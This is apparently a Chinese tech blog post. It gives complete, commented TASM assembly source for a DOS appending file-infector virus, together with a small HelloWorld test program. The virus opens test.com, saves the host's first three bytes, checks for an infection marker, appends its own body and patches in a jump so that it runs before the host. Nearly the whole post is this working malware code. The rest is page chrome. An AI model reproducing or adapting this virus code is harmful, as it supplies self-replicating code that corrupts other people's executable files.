一个尾寄生Virus

在tasm 编译通过:

测试程序:

;DTA数据传输区,存放文件的相关控制信息,它的作用是在磁盘文件与程序之间做一个桥梁,程序写文件时先写DTA,程序读文件时就直接从DTA中读取文件的信息。

.model tiny

.code

 

    org 0100h

ok: mov dx,offset message

    mov ah,09h

    int 21h

    

    mov ah,4ch

    int 21h

    ret

    

    message db 'HelloWorld!!',0dh,0ah,'$'

end ok

 

Virus程序:

.model tiny

.code

org 100h

start:

    db 90h,90h,90h            ;三个无操作码,空出三个字节

vstart:                        ;用IP指针减去偏移量的方式,做到重定位

    ok:call locate            ;病毒代码的起始,遇到call寄存器入栈,ip也同样入栈

locate:pop si                ;将ip地址出栈到si寄存器中

    sub si,offset locate    ;减去病毒的起始地址,用于回到宿主程序的地址

 

writeold:                    ;将100h处的内存代码写为我们病毒保存的3个字节,第1次运行是一条退出指令

                            ;以后运行的时候,它就是我们宿主程序开始的三个字节

    push si                ;保存si

    mov di,100h            ;把100h送到目的地址DI寄存器

    lea si,[si+f3byte]        ;在内存处写入3个字节

    movsb

    movsw

    pop si

 

openf:                        ;打开文件

    mov ax,3d02h            ;3dh功能调用,调用参数ds:dx=ASCIZ串地址,al=访问文件共享方式,

                            ;0=读,1=写,2=读/写;若调用成功,返回参数AX=文件代号

    lea dx,[fname+si]        ;文件名所在的地址

    int 21h                    ;DOS中断

    jc error1                ;没有打开跳到error1

    xchg ax,bx                ;将打开文件功能调用的出口参数(文件代号)存到bx当中

 

loadold:                    ;保存宿主程序的前3个节字的代码在这里

    mov ax,4200h            ;42号功能调用,移动文件指针,重新读取原先的3个字节,让它从头开始

    xor cx,cx                ;将cx清空,把偏移量高位置零

    xor dx,dx                ;将dx清空,把偏移量低位置零

    int 21h

    mov ah,3fh                ;3f功能调用,读文件或设备

    mov cx,3                ;读3个字节

    lea dx,[f3byte+si]        ;将它保存在宿主文件头部的那3个字节处的内存单元

    int 21h

 

judge:

    mov ax,4202h            ;42号调用,移动文件指针,al=2从文件尾绝对位移

    mov cx,0ffffh            ;偏移量高位,

    mov dx,0fffeh            ;偏移量低位,负2的补码0fffeh

    int 21h

    mov ax,3fh                ;3f功能调用,读文件或设备,读取倒数的两个字?

    mov cx,2                ;cx为要读取字节的数量

    lea dx,[si+vid]        ;将vid的偏移地址存放到dx(偏移量低位)当中

    int 21h

    cmp word ptr [vid+si],0fecah    ;将取出的两个字节的内容与特征码进行比较

    jz closef                ;如果相等,说明这个文件已经被感染过了,跳转到关闭文件

    mov word ptr [vid+si],0fecah    ;否则继续感染这个文件,在感染之前将其特征位设置为0fecah

    

pointf:                ;重新定位文件的读写指针

    mov ax,4202h    ;42号功能调用,移动文件指针,调用参数 BX=文件代号,CX:DX=位移量,AL=2从文件尾

    xor cx,cx        ;将cx清零,代表偏移量的高位

    xor dx,dx        ;将dx清零,代表偏移量的低位

    int 21h        ;DOS中断,偏移量都为零,说明从文件的尾部开始,若成功,dx:ax=新指针位置;失败,ax=错误码

    error1:jc error2    ;错误跳转的地址

    sub ax,3        ;JMP指令占3字节,ax(上面文件读指针的出口参数)存放着写入病毒代码的字节数

    mov word ptr entry[si+1],ax    ;ax减3获得JMP的偏移地址,再送到entry的下一地址

    

writef:                ;写文件

    mov ah,40h    ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实;;际实际写入的字节数

    mov cx,filel    ;把要写入文件的长度存到cx

    lea dx,[vstart+si]    ;将病毒的起始地址存到dx当中

    int 21h            ;DOS中断

 

writejmp:            ;写跳转指令

    mov ax,4200h    ;42号调用,移动文件指针,将读写地址定义到起始处

    xor cx,cx        ;将cx清零,代表偏移量的高位

    xor dx,dx        ;将dx清零,代表偏移量的低位

    int 21h

    mov ah,40h        ;40号调用,写文件

    mov cx,3        ;写3个字节

    lea dx,[entry+si]    ;写的字节在entry里的那条机器码

    int 21h

    

closef:                ;关闭文件

    mov ah,3eh        ;3eh号调用,关闭文件

    int 21h

    

error2:

hello:                ;为了程序试验方便,我们让它打印一句话

    lea dx,[message+si]    ;要打印显示的字符串的地址

    mov ah,9        ;9号调用显示字符串

    int 21h

    

    mov ax,100h    ;这些都完成之后就让它跳回100h

    push ax        ;将ax入栈    

    ret                ;返回指令,将ax返回到IP中

    

message db "cafe !",0dh,0ah    ;0dh 回车符,0ah换行符

        db '$'                ;表这个字符串结束?

f3byte db 0cdh,20h,0         ;int 20h 的机器码,退出指令

entry db 0e9h,0,0             ;jmp 0 的机器码

fname db "test.com",0,'$'    ;指令文件名的缓冲区

vid db 0cah,0feh            ;病毒特征码

filel equ $-vstart            ;前面空出的三个字节只有在病毒第一次运行时才有意义

end start

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

罗哥分享

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值